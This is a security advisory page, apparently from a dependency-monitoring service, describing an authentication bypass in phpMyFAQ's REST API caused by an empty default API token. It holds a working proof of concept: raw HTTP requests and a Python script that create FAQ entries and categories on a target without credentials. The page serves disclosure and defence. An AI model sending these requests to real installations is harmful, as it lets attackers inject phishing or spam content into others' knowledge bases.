Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-gp95-j463-vv28

HighCVSS 7.5 / 10
Published May 20, 2026·Last modified May 20, 2026
Affected Components(0)

No affected components available

Description

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

| File | Endpoint | Method | | ------------------------------------------------------- | ---------------------- | ------ | | src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST | | src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT | | src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST | | src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "test@test.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "r@t.com",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

| Test | x-pmf-token | HTTP Status | Result | | ------------------- | -------------- | ---------------- | -------------------------- | | No auth header | (not sent) | 401 Unauthorized | 🔒 Correctly blocked | | Empty token header | "" | 201 Created | 🔓 Bypass confirmed | | Category creation | "" | 201 Created | 🔓 Bypass confirmed | | Public verification | (not needed) | 200 OK | 📄 Injected content visible |

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

  • Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
  • What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
  • What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.
Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.38%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard